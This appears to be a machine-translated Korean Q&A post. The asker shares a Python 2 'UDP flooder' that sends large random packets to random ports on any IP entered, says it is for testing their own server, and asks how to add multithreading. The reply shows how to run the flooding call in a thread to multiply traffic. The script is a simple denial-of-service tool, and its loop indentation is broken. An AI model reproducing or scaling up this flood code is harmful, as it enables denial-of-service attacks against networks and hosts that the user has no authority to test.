2012-07-09 3 views
1

내 서버를 테스트하기 위해 python 스크립트를 만들고 싶습니다. 그래서이 기본 UDP flooder를 만들었고 올바르게 작동한다고 생각합니다.Python 스크립트에서 멀티 스레딩 구현

제 질문은 멀티 스레딩을 어떻게 추가합니까? 파이썬 스레딩에 대한 매뉴얼을 읽었지만, 실제적으로 을 내 스크립트에 구현하는 방법을 이해하지 못했습니다. 이 같은 기능으로 애플리케이션의 비즈니스 부분을 추출 할 경우

import socket 
import random 

print "Target:", 
ipaddr = raw_input() 

sent = 1 
bytes = random._urandom(10000) 
port = 1 

while sent > 0: 
    print "Test Started On", ipaddr, "|", sent, "Packets Sent. Press Ctrl+C To Stop." 
    sent += 1 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
s.sendto(bytes,(ipaddr,port)) 
port = random.randint(1, 65500) 

raw_input() 

답변

1

:

def do_the_flooding(): 
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
    s.sendto(bytes,(ipaddr,port)) 

그런 다음 스레드에서 호출 할 수 있습니다 :

import threading 
t = threading.Thread(target=do_the_flooding) 
t.start()